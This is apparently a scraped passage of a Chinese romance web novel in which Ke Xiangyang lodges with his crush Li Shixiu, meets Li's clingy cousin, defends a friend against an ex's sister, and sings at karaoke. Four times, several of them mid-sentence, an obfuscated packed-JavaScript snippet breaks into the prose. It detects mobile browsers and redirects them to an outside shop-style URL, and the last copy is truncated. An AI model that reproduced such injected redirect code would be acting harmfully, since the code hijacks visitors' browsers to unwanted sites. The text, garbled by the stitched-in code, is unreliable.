厉时修当即妥协:“行吧,那按你之前租房的价格给。” 柯向阳:“按之前的房租给,只能租得起你家的卫生间吧?” 厉时修:“那又如何?我的房子要租多少钱我都不能做主了吗?” 柯向阳:“……” 经过一番反向讲价,两人谈好一个月两千五的房租加伙食费,从这个月开始计算。柯向阳掏出手机当场给厉时修转了两千五百元,逼着他点了收款才算完事。 想要和暗恋对象保持距离的计划彻底宣告破产了,坐在工位上的柯向阳翻了两页面前的文件,托腮陷入沉思,他该不会真的要一辈子住在厉时修家里了吧? 不对,等厉时修谈恋爱要跟女朋友同居时,肯定不需要他这个电灯泡陪着了,这么一想,柯向阳心里又流下两道宽面条泪,还不如现在就搬走。 * 午休结束,柯向阳继续在工位上熟悉工作内容,办公室大门突然被一把推开,未见其人,先闻其声:“三哥,我来投奔你了!” 来人与厉时修有五六分相似,长得更加俊秀,戴着一副眼镜,书生气十足。 跟在边上的江秘书苦着张脸朝自家老板解释:“厉总,四少非要闯进来,我拦不住。” 擅闯总裁办公室的正是厉时修的堂弟,同辈中排行老四的厉时谦。 “知道了,你先出去吧。”厉时修朝江秘书点了下头,目光转向自家堂弟时,登时变得不耐烦起来,“你来干嘛?” “三哥,不是说好了我来给你当助理的吗?为什么江秘书说你已经有助理了?”光看长相还显得人如其名的厉时谦一开口就形象全无,书生气一扫而光,只剩十足的孩子气。 这是柯向阳第一次见厉时修的家人,寻思着自己是不是也该出去,默默站起身想要往外走。 厉时谦一把拉住柯向阳,惊呼:“这不会是你的新助理吧?看着好小,大学毕业了吗?” 看着厉时谦的手,厉时修的脸顿时沉了下来:“首先,我不记得有答应过让你当助理的事,其次,我最讨厌有人不经允许随便进出我的办公室,最后,你的教养礼貌都被狗吃了吗?他是我的朋友,把手放开。” 闻言,厉时谦后背发凉,下意识地松开手,立正站好,对柯向阳伸出手:“真是对不起,我叫厉时谦,幸会幸会。” 柯向阳跟他握了个手:“你好,我叫柯向阳。” 厉时修向柯向阳介绍道:“他是我小叔的儿子,排行老四,比我们小两岁,叫他小四就行。” 柯向阳点点头,倒没真的开口叫人家小四。 厉时修又对厉时谦说:“他是我的新助理,你叫他阳哥吧。” “为什么啊?不是说了我要当助理嘛?哥哥啊,我的好哥哥,你给我安排个岗位吧,我不想回去啊!”厉时谦一个飞扑,跪倒在厉时修面前,抱着他的大腿开始鬼哭狼嚎,动作熟练到仿佛演练过上千次,把柯向阳看得目瞪口呆。 “放开。”厉时修嫌弃地开口。 “你不答应我就不放开。”厉时谦显然已将死缠烂打的功夫练到炉火纯青的地步了,此刻,那副眼镜戴在他脸上显得十分违和。 厉时修被他嚎得脑壳疼,敷衍道:“你去找江秘书,让他随便给你安排个工作。” 厉时谦止住哭嚎,却没有起身:“三哥,你再答应我件事呗。” “什么?”厉时修警惕地看向他。 厉时谦嘿嘿一笑:“我不想住酒店,既然以后我们都在一个地方上班,那我可不可以直接住在你家啊?反正你家大得很。” “不可以。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171844|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”厉时修想都没想地拒绝了。 话音刚落,厉时谦立即开启软磨硬泡的模式,硬是挤出两滴眼泪做小白花状:“三哥,你就不怕你英俊潇洒、文质彬彬、肤白腿长的弟弟独居在外遭遇不测吗?” 厉时修冷漠道:“对上你,别人遭遇不测的可能性更大一点。” 柯向阳站在一旁插不上嘴,也不知该不该上前把人扶起来。 厉时谦抹了抹眼泪,九转十八弯地喊了声:“三~哥~” 柯向阳忍不住打了个寒颤。 “你再给我发神经,这里的工作也别想了。”厉时修的忍耐到达极限,用力抽出自己的脚,指着门口:“滚出去。” 厉时谦不情不愿地爬起来,拍拍衣服上的灰尘,一步三回头地往外走。 柯向阳十分有眼力见儿地打开办公室大门,客客气气把人送了出去。关上门后,转头对上厉时修赞赏的目光:“你这个助理当得不错。” “嘿嘿。”柯向阳不好意思地笑笑。 * 原以为和厉时谦的交集到此为止,没想到晚上下班时,他又偷偷摸了上来,死活要跟厉时修回家,连行李都带来了。 到底是自家弟弟,厉时修给了一个星期的时间,让他找好住处就滚蛋。 “三哥,为什么是我开车啊?这不该是助理的活吗?又不让我当助理,又要我干助理的活。”驾驶座上,厉时谦不满地发出抗议。 厉时修:“不想被赶下车就闭上嘴。” “抱歉啊,我刚考的驾照,还不是很熟练。”和厉时修一起坐在后排的柯向阳有些汗颜,这确实是他的工作,可面对下班高峰期时的马路,他真的不敢开啊! “阳哥,你跟我哥怎么认识的啊?除了老纪,我还没见过他有别的朋友呢。”在厉时修那得不到好脸色的厉时谦干脆把目标转向柯向阳。 柯向阳:“我们是高中同学。” “哇,你居然能跟我三哥从高中玩到现在,他脾气很坏吧?我们家就属他性格最差。”厉时谦毫无负担地当面说人坏话。 不等厉时修开口,柯向阳率先反驳:“才没有,厉哥只是嘴巴坏一点,人还是很好的,前阵子他刚领养了一窝小猫呢。” “真的假的?”厉时谦像是听到天方夜谭一般,要不是在开车,他肯定要好好掏掏自己的耳朵。 “当然是真的,你还是厉哥的弟弟,怎么一点都不了解自己的哥哥?难怪厉哥不想让你住他家。”柯向阳觉得这个弟弟属实有些欠教训,看来厉时修不给他好脸色是有原因的。 厉时谦:“……” 柯向阳下意识的维护让厉时修的嘴角彻底压不住了,只能假装咳嗽以作掩饰。 “怎么咳嗽了?空调开太低了吗?”柯向阳紧张地望向身边。 “没有,只是嗓子有点干。”厉时修眉眼带笑。 “那你喝点水,小四,你开慢点。”柯向阳掏出保温杯,给厉时修倒了一杯水。 从内后视镜看到后排景象的厉时谦顿觉一阵恶寒,这是能出现在他三哥脸上的表情吗? 24. 挤一挤 得知厉时修领养的是一窝田园猫,厉时谦在惊讶的同时表示了嫌弃,话里话外全是田园猫没有宠物猫可爱的意思。 “三哥你要养猫为什么不养品种猫?长得好看脾气也好,我听说土猫性子很野的,你不怕家被拆了啊?”厉时谦拎着自己的行李,进门时还在喋喋不休。 厉时修不想理他,给了个警告的眼神,让他闭嘴。 听不得别人说自家孩子坏话的柯向阳把猫屋打开,不高兴道:“我们家小乖性子一点都不野,又聪明又听话,小猫崽也很可爱,不比品种猫差的。” “能有多聪明?”厉时谦撇撇嘴,不为所动。 想为田园猫正名的柯向阳当即打开冻干盒掏出一颗鸡胸肉冻干,对小乖下达指令:“小乖,握手。” 小乖配合地伸出前肢,搭在柯向阳手上。 柯向阳又道:“换边。” 小乖便将右前肢换成左前肢。 柯向阳微微举起冻干:“站起来。” 小乖缩回前肢,后腿站立,张嘴轻轻叼住柯向阳给的冻干,聪明地避开了他的手指。 “好棒!”柯向阳得意地看向厉时谦,眼里全是对自家孩子的骄傲。 客厅里的兄弟俩十分同步地看直了眼,不同的是一个在看猫,一个在看人。 “真的听得懂诶!”厉时谦立即变得蠢蠢欲动:“我跟它说这些它会配合吗?” “你试试。”柯向阳递给他一粒冻干。 “你叫小乖是吧?来,握手。”厉时谦朝小乖伸出左手,柔软肉垫触碰掌心的瞬间,感觉整个人都被净化了,“啊,好可爱。” 等看见猫窝里挤在一起呼呼大睡的小奶猫时,厉时谦彻底走不动路了。 二十多天大的小猫被养得圆润肥美,尤其是那只名叫面包的小橘,不到一个月的猫龄,已经不负橘猪盛名,比其他四只都大上一圈,粉鼻子上还沾着点奶渍,戳戳它的小脑袋,就会睁开湿漉漉的蓝灰色眼睛,奶声奶气地叫唤一声。 柯向阳给面包擦干净脸,向厉时谦逐一介绍了小猫的名字,告诉他两只小三花是另一个朋友的,要等小猫断奶再接走。 “三哥,也送我一只吧。”厉时谦眼巴巴地望向沙发上的男人。 “不行。”厉时修面无表情道。 “为什么啊?”厉时谦不解。 厉时修冷哼一声:“就你那生活不能自理的样子,还想养宠物,把小猫送你跟虐待它有什么区别?” “小气。”厉时谦气鼓鼓地骂了声,回头继续戳弄几只小奶猫的肚子,“妈呀,怎么这么可爱?我可以抱抱吗?” 柯向阳抓起面包捧在手心里安抚了会,才移交给厉时谦:“小心点哦,小奶猫很脆弱的。” 陌生的气味让面包十分紧张,扯着嗓子发出细细的叫声,仿佛在向它的兄弟姐妹们请求救援,其它小猫听见后,一只接一只地回应起来,殊不知自己的叫声只会更加激发人类吸猫的欲望。 “小面包,哥哥不是坏人,别害怕嘛,乖乖,不哭不哭。”厉时谦在面包头上嘬了两口,一脸陶醉,“真好闻,香香的,还带股奶味,嘿嘿。” “好了好了,放它走吧,把它吓坏了。”柯向阳将面包放回猫窝里,掏出一根装饰着羽毛的逗猫棒递给厉时谦,“你可以用这个逗它们玩。” 清脆的铃铛声响起,小猫崽伸出长着粉嫩肉垫的小爪子,试图去够晃动的羽毛,牛奶圆滚滚的身子因站立不稳倒向一旁,绊倒了芝麻,兄弟俩抱在一起遭受无情地踩踏,发出愤怒的小奶音。 厉时谦被萌得不知天地为何物,掏出手机一顿拍。 厉时修看了眼客厅,开始思考要把弟弟安顿在哪。 他的房子虽大,但只有两间卧室,如今他和柯向阳一人一间,并没有多余的房间给厉时谦住,看来只能睡客厅了:“小四,我家房间不够,这几天你在客厅打地铺吧。” 正在逗小猫的厉时谦顿时哀嚎起来:“我不要啊!” 厉时修体贴地给出备选方案:“你想睡沙发也行。” 厉时谦不敢要求和他哥共睡一张床,自然而然将目标转向柯向阳:“阳哥,我们俩挤挤呗,反正三哥家的床很大,你放心,我睡觉绝对老实,保证让你感觉不到我的存在!” 不等柯向阳回答,厉时修先一步拒绝:“不行。” “为什么啊?阳哥都没说话,你不要搞专政啊。”厉时谦弱弱地挥了一下拳头表示抗议。 “他跟你不熟,不要提这种无理的要求。”厉时修没好气道,合理怀疑自己要是不阻止,以柯向阳的性格很有可能会点头。 “你俩熟,那你俩睡一间,给我腾间房?”厉时谦随口提议,根本没指望他哥能答应。 没想到厉时修也没拒绝,只是转头问柯向阳的意见:“你觉得呢?” “我都可以啊,我睡客厅也行的。”柯向阳忙道,对他而言,现在这个家里只有他是外人。 “那怎么行?你交了租金就是租客,哪有让你睡客厅的道理?先跟我挤一阵吧,等小四找到住处再让他搬出去。”厉时修突然觉得收留厉时谦好像也不坏。 “好,那我把房间收拾一下。”柯向阳点点头,比起厉时谦,他肯定更倾向和厉时修睡一张床,毕竟不是第一次了。 面对两人自然的交流,今天当司机那会的怪异感觉又冒了出来,厉时谦来不及细想,习惯性地咋呼起来:“三哥,你宁愿跟阳哥一起睡都不跟我睡,为什么要这样对你可爱的弟弟啊?” 厉时修一面对厉时谦,脸上的表情就会自动切换回不耐烦:“有床给你睡就不错了,再多嘴就去睡大街。” 厉时谦只能一个人生窝囊气。 * 晚上八点,乔梦书准时喊柯向阳上号打游戏。 柯向阳提前问过程嘉弘,眼下顺嘴问了一句厉时修玩不玩。 “可以。” “带我一个带我一个,我也要玩。”坐在柯向阳身边的厉时谦看到他手机屏幕上的游戏房间里只有四个人,连忙申请加入。 “不保证上分哦。”柯向阳还记得今晚拉程嘉弘打游戏的目的,乔梦书大概率要开演了,他和厉时修都不在乎输赢,但不知道厉时谦在不在乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171845|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “有我在,保证能上分,我很强的。”厉时谦毫不谦虚地自夸。 “那让厉哥拉你。” …… 两局结束,连掉两颗星的厉时谦憋着一股气,凑到柯向阳耳边嘀咕:“阳哥,你这朋友有点坑啊。” “呵呵,是啊,所以我说不保证上分嘛。”柯向阳摸摸鼻子,他总不能说乔梦书是故意的吧。 程嘉弘的心态倒是一直很稳定,被乔梦书坑死好几次都不生气,反而出言安慰:“没事的哥,你活着就好,你比较值钱,我不值钱。” 最后还是乔梦书自己良心发现,好好打了一局,终于保住大家一颗星。 厉时谦摩拳擦掌,正要吹响反击的号角,乔梦书那边突然传来一阵模糊的人声,随后他便说有事要先下了。 柯向阳听他语气不对,跟着退出游戏。 转眼游戏房间里只剩下厉时谦一人,输了一晚上早被打红温的他默不作声点击开始,进入单排模式,誓要把自己失去的星星全部赢回来。 柯向阳给乔梦书发了消息,一直到洗漱完都没收到回复,见厉时谦还在努力上分,心里有点过意不去:“小四啊,你要吃宵夜吗?” 厉时谦头也不抬地说:“不用了阳哥,我要保持身材,晚上不吃宵夜的。” 柯向阳:“那你早点休息,我先去睡了。” 厉时谦:“嗯嗯。” 走进主卧,厉时修正在洗澡,听到从浴室门后传出的水流声,柯向阳才觉出些紧张来,他钻进被窝,把自己裹得严严实实。 洗完澡出来的厉时修看到床上多出来的大型春卷,忍不住嘴角微扬。 感受到床垫下陷,柯向阳探出头,发现厉时修正顶着一头湿发坐在床边:“厉哥,怎么没吹头啊?” 厉时修不在意道:“一会就干了。” “不行,头发不吹干容易感冒的。”柯向阳钻出被窝,起身去拿吹风机。 调好温度和风速,柯向阳将风口对准厉时修的脑袋,手指插进湿润的发间,夹住几缕发丝抻直,让头发均匀受热。 水分在风口下快速蒸发,湿漉漉的头发渐渐变得蓬松起来,透出柔和的哑光质感。 柯向阳抓了两下他的发顶,问:“厉哥,你头发是不是有点长了?” “嗯,是该去剪头发了。”厉时修应道。 脑后的头发吹得差不多后,柯向阳将吹风机举高了点:“你闭眼,我给你吹下刘海。” 厉时修依言闭上双眼,灯光在他的眉骨下投出清晰的阴影,鼻梁高挺,薄唇轻抿,优越的五官帅得充满攻击性,额间碎发凌乱飞舞,又为他冷冽的眉眼增添了几分柔和。 “好了。”柯向阳关掉吹风机,用手指帮他梳理乱掉的头发。 感受到柯向阳越来越慢的动作和逐渐呆滞的表情,厉时修挑挑眉:“怎么?” 柯向阳回过神,发自内心地赞叹:“厉哥,你长得真帅啊。” “嗯。”厉时修冷淡地应了声,从柯向阳手里接过吹风机放回原位,耳尖被热风吹拂的感觉经久不散,隐隐发烫。 25. 理发 因为柯向阳的一句话,厉时修一晚上没睡着,早上起来后,眼下少见地挂上了两个淡淡的黑眼圈。 柯向阳将包装袋里的早餐一一拿出摆好,担心地问:“厉哥,你昨晚没睡好吗?是不是我影响到你了啊?” 从某种意义上说,确实是受他影响,厉时修揉揉鼻根:“没有,我只是想了点事情。” 厉时谦昨晚打游戏到凌晨,这会睡得正沉,外卖便没点他的份,餐桌上只有他们俩在用餐。 柯向阳一口一个小笼包,鼓着腮帮子道:“那一会吃完去补个觉吧。” “没事,现在不困,你今天要出门吧?”厉时修喝了一口粥,他记得柯向阳说过乔梦书约他周末去打麻将。 “乔乔早上跟我说他有点事,今天不去打麻将了,改天再约,不过我想去看看手机。”上回跟着乔梦书去搅和他妹的相亲,到最后也没去成体验店。 “你的手机确实该换了。”厉时修表示赞同,“我跟你一起去吧,顺便剪个头发。” 柯向阳:“好啊。” 等厉时谦起来,家里只剩他一个活人。 * 柯向阳对手机的要求不高,内存够用不卡顿就行。 两人在商场的几家体验店里逛来逛去,最后他看上一部三千多元的国产手机。 现在有618活动,实体店和网店的优惠差不多,柯向阳思索一番,还是选择上网买。 面对厉时修疑问的目光,柯向阳出了店门才向他解释:“网上买可以分期付款,现在大部分品牌都有24期的免息,这么算下来,一个月只要还一百多,跟没花钱似的。” 厉时修听他叽里咕噜地计算如何争取利益最大化,注意力完全被那张开开合合动个不停的嘴所吸引。 “走吧,去剪头发。”柯向阳摸了摸自己的脑袋,他也很久没理发了。 要照柯向阳的习惯,直接去超市门口的十元理发就行了,想来厉时修大概不愿意,所以他连提都没提,乖乖跟着厉时修去了个私人造型工作室。 两人的诉求都是剪短头发,不做造型,加上洗头,半小时就能解决。 造型师用吹风机简单地为他们定了个型,柯向阳望向镜子,稍显凌乱的头发被修剪得清爽整齐,细碎的发梢不再遮挡眉眼,露出干净饱满的额头,整个人都精神许多。 再看看身边的厉时修,头发同样变得简洁利落,衬托出立体五官的同时又多了几分少年感。 两人并肩站在一处,一样的年轻帅气,柯向阳越看越满意,有些自恋地想他们还挺般配。 从工作室出来,他们沿街走了一段,厉时修刚想提议带柯向阳去练练车,就见他面露疑惑地盯着不远处的咖啡店,透过玻璃墙,里面坐着的正是乔梦书。 乔梦书对面是一个女人,看不清长相。 柯向阳往前走了两步,眼见那个女人拿起面前的水杯泼了乔梦书一头。 柯向阳:!!! 不等厉时修反应过来,柯向阳先一步冲进那家咖啡店,挡在乔梦书面前:“你干什么?!” 女人被突然闯入的人吓了一跳,随后又摆出一副高高在上的姿态:“我不过是教训一下勾引我弟弟的死男同,你又是谁?关你什么事?” 柯向阳一边拿纸巾帮乔梦书擦脸,一边在脑袋里快速分析对方的话,得出结论:“你是徐佑的姐姐?” 女人不屑道:“没错,徐佑马上就要订婚了,你不要再来缠着他,否则我有的是手段整治你。” 乔梦书倒不是很在意被泼水的事,抹了一把脸,把柯向阳拉到身后:“这位大姐,我早跟他说分手了,是他隔三差五过来堵我,你管不好自己的弟弟,拿我撒什么气?” 女人漂亮的脸蛋因为愤怒而扭曲:“分手?我昨天还看见你们俩抱在一起,你到底要不要脸了?” 眼见女人又想端水杯,柯向阳眼疾手快地先她一步拿起水杯塞进厉时修手里:“有话好好说,你再动手我不客气了。” “怎么?你们三个死基佬要一起上吗?”女人眼中满是厌恶与嫌弃。 三个基佬听见这话,皆是一惊,心思各异。 “你嘴巴放干净点!”乔梦书没想到厉时修也在,不想过多纠缠,沉下脸掏出手机递给女人,“你自己看吧,到底是谁死缠烂打不要脸。” 见乔梦书如此坦荡,女人狐疑地接过手机翻看起他和徐佑的聊天记录,越看脸越黑。 “大姐,与其在这里冤枉我,不如回去好好教育一下你的同性恋弟弟,让他别再来烦我了。”乔梦书抽回自己的手机,“我这里还有一些通话录音,你要是想闹得人尽皆知,我奉陪到底。” 女人自知理亏,深吸一口气,恨恨地踩着高跟鞋离去。 看到乔梦书仍在滴水的头发,柯向阳连忙拽着他去了洗手间。 乔梦书冲了个脸,问:“你们怎么会在这?” “正好路过,你跟徐佑分手了?”柯向阳试了试烘干机,可以用,便让乔梦书把衣服脱下来烘一下。 乔梦书摆摆手示意不用,只抽了几张纸往身上擦:“那个王八蛋,背着我去相亲了,被我发现后死皮赖脸不想分手,这不就被他姐找上门了。” 柯向阳皱起眉头:“什么时候的事?你怎么都没跟我说?” “过完端午之后,昨晚他来找过我,被我骂了一顿,这种事说出去我都嫌丢人。” “跟我还那么见外,你再这样我真不管你了。”柯向阳有些生气,更多的是心疼,乔梦书嘴上说得云淡风轻,到底付出过真心,分手怎么会不难过呢?真不知道他这些天是怎么熬过来的。 “哎呀,别生气嘛,我这不是想等全部处理好了再跟你说嘛。”乔梦书讨好地摇着柯向阳的手臂,“不要不管我,我还想找你喝酒呢。” “幸好泼的是水,要是饮料,你这件衣服可能就废了。”柯向阳轻哼一声,帮着把他的衣服擦到半干,“她干嘛要泼你啊?” 乔梦书:“我说当初是她弟弟追的我,追我的时候跟舔狗一样,我看他可怜才接受的。” 柯向阳:“虽然是事实,但你以后用词可以委婉一点,遇到这种性格极端的人,得先保证自己的安全。” 乔梦书:“这两人不愧是姐弟,一个疯狗,一个贱狗。” 正聊着,柯向阳猛地想起厉时修还在外面等着,刚刚事出突然,根本顾不上其他,这会回过味来,乔梦书的性向算是彻底暴露了。 “你就说你不知道,一直以为我跟徐佑只是关系比较好。”乔梦书提议。 “你觉得他能信吗?”厉时修又不是傻子。 “你打死不承认,实在不行,我牺牲一下,你先跟我绝交吧。”乔梦书大义凛然道。 柯向阳:“我觉得实话实说最好。” 乔梦书摸摸下巴:“也是,真诚才是永远的必杀技,正好看看他对同性恋的态度。” 两人出去时,服务员已经收拾好乱糟糟的桌面,给他们送了一盘小食,为自己没有及时发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171846|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现情况表示歉意。 厉时修坐在卡座上看手机,见他们回来,问:“没事吧?” “没事。”乔梦书尴尬地坐在他对面。 “有什么需要帮忙的,跟小柯说一声,让他告诉我。”厉时修的表情没有一丝异样,“你前男友是徐家人,那个徐家有点难搞。” 乔梦书颇感意外,既意外徐佑的家世,又意外厉时修的态度,感激地点点头:“谢谢了。” “小柯的朋友,就是我的朋友,不用客气。”厉时修这句话算是给两人吃了颗定心丸,暂时不用担心性向暴露的事了。 柯向阳劝乔梦书赶紧换房子,谁知道那对神经病姐弟会做出什么事来。 乔梦书:“在看了,不过现在住的这套租约没到期。” 柯向阳不赞成道:“跟房东商量一下,看看能不能退一点租金,还是安全更重要。” 理解柯向阳是担心自己,乔梦书心头一暖:“知道啦。” 三个人一起吃了午饭,有了柯向阳的陪伴,乔梦书原本低落的心情恢复良好,感觉自己又能打麻将了:“你把程嘉弘叫出来,我们刚好四个人。” “我上午才跟人家说了取消,现在又要约,等会以为我耍他呢。”柯向阳不太乐意,“你就不能加他微信吗?” “我跟他又没关系,到时候他跟我妹要是没成,留在列表里多尴尬啊,快点。”乔梦书催促道。 “我来吧。”厉时修也有程嘉弘的微信,反手把消息发了出去。 收到消息的程嘉弘马不停蹄地赶来,身边还跟着乔梦瑶。 乔梦书的心情像是在坐过山车,起起落落:“你俩怎么在一块?” “约会啊,你不是说不打麻将了吗?”乔梦瑶反问。 “这不又有空了吗,没位置给你了,你先回去吧。”乔梦书挥挥手想赶人,有乔梦瑶在,程嘉弘一定会克制本性,哪里还能达到考察牌品的目的? “你们打你们的,我在边上看着,等会要是有人想上厕所,我还能替一下呢。”乔梦瑶态度坚决,开玩笑,她今天可是画了全妆的,才出门没多久就叫她回家,疯了吧? 柯向阳顺势给乔梦瑶和厉时修做了介绍。 厉时修对乔梦瑶可谓印象深刻,看她与程嘉弘出双入对,微微一笑,礼貌地跟她握了手。 程嘉弘心中警铃大作,顾不得与厉时修关系一般,直接勾着他的脖子把人拉到一旁说悄悄话。 乔梦瑶趁机凑到柯向阳身边,八卦道:“向阳哥,那人是你的男朋友吗?好帅啊。” 柯向阳睁圆了眼,连连摆手:“不不不不不、不是的,你别误会啊!” 厉时修听见声音回过头,看到脸红成猴屁股的柯向阳,头顶亮起一个大大的问号。 柯向阳朝他笑了笑,示意他不用在意,转头对着乔梦瑶一阵结巴:“你你、你怎么?我、那个……” “我又不是小孩子,你跟我哥取向一致这种事我早看出来了,你紧张个啥?”乔梦瑶无语。 “很明显吗?”柯向阳在乎的是这个。 “其实也还好。”乔梦瑶实事求是,要不是柯向阳跟乔梦书玩在一起,有太多蛛丝马迹,她大概不会这么确定。 “你可千万别说漏嘴了,尤其是在我朋友面前,拜托了。”柯向阳祈求道。 乔梦瑶疑惑地问:“难道你朋友是直男?” 柯向阳点点头。 乔梦瑶歪着脑袋瞅了眼厉时修,眼里满是怀疑,不像啊。 26. 唱歌 商场边上就有个自助棋牌室,几人直接步行过去。 这次为了避免厉时修喂牌,乔梦书指定他坐在柯向阳下家,没想到外贼易挡,家贼难防。 打了两圈,每每在程嘉弘想给未来大舅哥点炮的时候,乔梦瑶都会及时制止:“你打这个干嘛?打这张不就听牌了吗?” 乔梦书眼角余光瞥到程嘉弘想出的牌正是他要的,顿时气不打一处来:“乔梦瑶,你让人家自己打!” “我又没看你的牌,我们俩当一家,不算犯规。”乔梦瑶朝她哥做了个鬼脸。 看出乔梦瑶也是个麻将高手,程嘉弘识相道:“瑶瑶,要不你来打吧?我看你玩。” “行,你起来,让我好好教教你。”乔梦瑶不客气地坐上牌桌,开始大杀四方。 兄妹俩在牌桌上一样是六亲不认,火药味越来越浓。 柯向阳摸完牌半天没出,立刻被乔梦书不耐地催促:“快点啊,你出牌怎么老是磨磨唧唧的。” “哎呀,烂牌太多了,我都不知道该打哪张。”柯向阳看着让自己两眼一黑的牌,只想直接推了,最后犹犹豫豫出了个二万,正好喂到厉时修嘴里。 “吃。” 阻止了厉时修喂牌,没想到柯向阳这家伙喂牌喂得更狠。乔梦书质问:“这就是你深思熟虑打出来的烂牌?” 柯向阳反驳:“都怪你催我,我才随便打了一张。” “下次你俩坐对家!”乔梦书气呼呼道。 “人不行怪路不平,你赶紧的,我要自摸了。”乔梦瑶搓搓手,随时准备摸牌。 几人吵吵闹闹打了一下午的麻将,厉时修看着手机上程嘉弘转来的十三块二,沉默地点击收款。 “晚上去唱歌吧?难得这么多人,又是周末。”乔梦书提议,他想唱歌很久了。 “那我请大家吃饭,庆祝一下我找到新工作。”柯向阳想起之前跟乔梦书说好的请吃饭,择日不如撞日,人多也热闹点,“你们想吃什么?首先排除海鲜自助。” 乔梦书:“……” 程嘉弘:“去吃烤肉吧,我们晚上本来打算去的,瑶瑶找的店,评价还不错。” 柯向阳:“行啊,远吗?” 程嘉弘:“在丰善区,我有开车,刚好坐得下。” “没事,厉哥也开车了。”柯向阳看向厉时修,发现他正在接电话。 只见他皱眉说了两句话,随后挂断电话朝柯向阳走来:“你们先去,我回家接一下小四,他非要过来。” “我跟你一起去接他。”柯向阳本来就觉得把厉时谦一个人丢家里不厚道,自然愿意带上他。 乔梦书道:“那我们店里见吧,让瑶瑶给你们发个定位。” “好。” * 烤肉店里。 厉时谦没见过乔梦书和程嘉弘,但光听声音也能认出是昨晚游戏里的两个队友。 三个性格外向的人凑在一起,去往ktv的路上已经勾肩搭背称兄道弟的。 今晚乔梦书格外兴奋,唱歌、喝酒、玩骰子一个不落,与他不熟的人自然看不出有什么问题,但乔梦瑶是他妹妹,对哥哥的了解当然不会比柯向阳少。 于是她悄悄凑到柯向阳耳边问:“向阳哥,我哥怎么了?不会是失恋了吧?” 柯向阳犹豫片刻,点头承认。 乔梦瑶眉毛一扬:“怎么回事?姓徐的干什么了?” “徐佑背着你哥去相亲,被你哥发现,提了分手,我也是今天才知道的。”柯向阳说到徐佑仍觉得晦气,当初真没看出来他是这种人。 “相亲?这不是骗婚吗?太恶心了吧!”乔梦瑶怒目圆睁,好在包厢里声音嘈杂,这一声吼没人注意。 “就是啊,最重要是的那狗男人分手后还缠着你哥,所以晚上我不放心让他一个人回去,想着待会给他开个房,今晚先住酒店吧。”如果是之前,柯向阳直接把人接到自己的出租屋住一阵子也没关系,可现在他住在厉时修家里,还多了个厉时谦,实在不好开口。 “王八蛋!”乔梦瑶要气死了,怎么会有这么贱的人啊! 柯向阳做了个噤声的动作:“你先别在他面前提这事,他肯定不想让你担心。” “什么怕我担心,我看他是怕自己丢人。”乔梦瑶咬着牙,看了眼玩骰子输了正在喝酒的乔梦书,拿上包包想要起身。 柯向阳一把拉住她,问:“你去哪?” 乔梦书:“去打个电话。” 柯向阳不放心道:“你可别乱来啊,要做什么至少先知会我一声。” 乔梦瑶无奈坦白:“我没想乱来,我只是想给家里打个电话。” 望着乔梦瑶离开的背影,柯向阳悄悄跟了出去,见她确实是在打电话,便在边上等她。 两人顺便上了个厕所,回到包厢,厉时谦正在大着舌头唱《三天三夜》,乔梦书在边上配合地手舞足蹈。 见柯向阳走来,厉时修问:“去哪了?” “上厕所。” “这里面不是有厕所吗?”厉时修面露怀疑。 “是哦,我忘了。”柯向阳咧嘴笑道,乔梦书突然窜出来扑到他身上,先跟他干了一杯啤酒,随后拿过麦克风要他陪自己唱《死了都要爱》。 “我唱不上去啊。”柯向阳推拒着麦克风,实在不想在这么多人面前丢脸。 “快点快点,开始了!”乔梦书不由分说把话筒塞进柯向阳手里,率先开吼:“死了——都要爱——” 柯向阳握着话筒,见乔梦书陶醉的模样,决定舍命陪君子,唱就唱吧! 堪称鬼哭狼嚎的男子二重唱响彻整个包厢,连厉时修面上的平静都要挂不住了。 一曲毕,包厢陷入短暂的沉默,柯向阳看到厉时谦和程嘉弘满脸惊恐,一时间羞愤交加。 “唱得不错。”厉时修带头鼓了两下掌,于是气氛又变得活跃起来。 “向阳,没想到你唱歌这么豪放啊。”程嘉弘干笑两声,感觉耳膜还在隐隐作痛。 厉时谦竖起大拇指,半晌才伴着酒嗝说道:“阳哥,牛啊。” “哈哈哈哈哈!”乔梦书笑得不行,他唱到一半就放下话筒,后面完全是柯向阳个人演唱会纯享版。 “别笑了!”柯向阳生无可恋地端起面前的酒一饮而尽。 六个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 